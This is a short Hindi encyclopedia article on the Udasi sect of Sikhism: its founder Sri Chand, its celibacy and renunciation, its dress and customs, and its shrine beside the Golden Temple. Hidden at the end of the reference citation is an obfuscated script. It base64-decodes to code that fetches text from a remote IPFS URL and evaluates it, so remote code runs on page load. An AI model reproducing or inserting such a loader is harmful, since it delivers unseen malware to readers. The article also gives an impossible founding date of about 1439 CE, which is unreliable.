उदासी सम्प्रदाय

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उदासी सम्प्रदाय सिक्ख धर्म के सम्प्रदायों में से एक है। इस सम्प्रदाय के प्रवर्तक गुरु नानक के पुत्र 'श्रीचन्द्र' थे। सिक्खों के मुख्य रूप से दो सम्प्रदाय हैं- 'सहिजधारी' और 'सिंह'। सहिजधारियों एवं सिंहों के भी कई उप-सम्प्रदाय हैं। उदासी (संन्यासमार्गी) सहिजधारी शाखा के हैं।

  • उदासी सम्प्रदाय का प्रारम्भ लगभग 1439 ई. में हुआ था। इसके प्रवर्तक नानक के पुत्र श्रीचन्द्र थे।
  • श्रीचन्द्र ने गुरु नानक देव के मत को कुछ व्यापक रूप देकर यह नया मत चलाया था, जो सनातनी हिन्दुओं के निकट है।
  • उदासी, जो कि संस्कृत के 'उदास' शब्द से आया है, इसका अर्थ है- 'परित्याग करना' या 'वैराग्य लेना'। इस पंथ में सदस्यों के ब्रह्मचर्य और संन्यास को ज़रूरी माना जाता है।
  • छठे सिक्ख गुरु हरगोबिन्द सिंह के बड़े पुत्र बाबा गुरुदित्ता के नेतृत्व में इस संप्रदाय ने सिक्खों के गृहक्षेत्र पंजाब के उत्तर और पूर्व में धर्म प्रचारक का कार्य किया। उन्होंने 'खालसा' के प्रतीक पांच ककार- 'केश', 'कंघा', 'कृपाण', 'कच्छा' और 'कड़ा'- को नहीं अपनाया।[1]
  • उदासी पंथ के लोग बाल कटवाते हैं और उन्हें दाढ़ी बनाने की इजाज़त होती है।
  • इस पंथ के लोग लाल रंग के कपड़े पहनते हैं तथा जाति सूचक नामों, जनेऊ और आमतौर पर हिन्दू संन्यासियों से जुड़ी प्रार्थना पुस्तकों का उपयोग करते हैं।
  • उदासी पंथ के अनुयायियों का अमृतसर, पंजाब में प्रमुख सिक्ख मंदिर, स्वर्ण मंदिर (हरमंदिर) के बग़ल में अपना अलग मंदिर है।


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टीका टिप्पणी और संदर्भ

  1. भारत ज्ञानकोश, खण्ड-1 |लेखक: इंदु रामचंदानी |प्रकाशक: एंसाइक्लोपीडिया ब्रिटैनिका प्राइवेट लिमिटेड, नई दिल्ली और पॉप्युलर प्रकाशन, मुम्बई |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 232 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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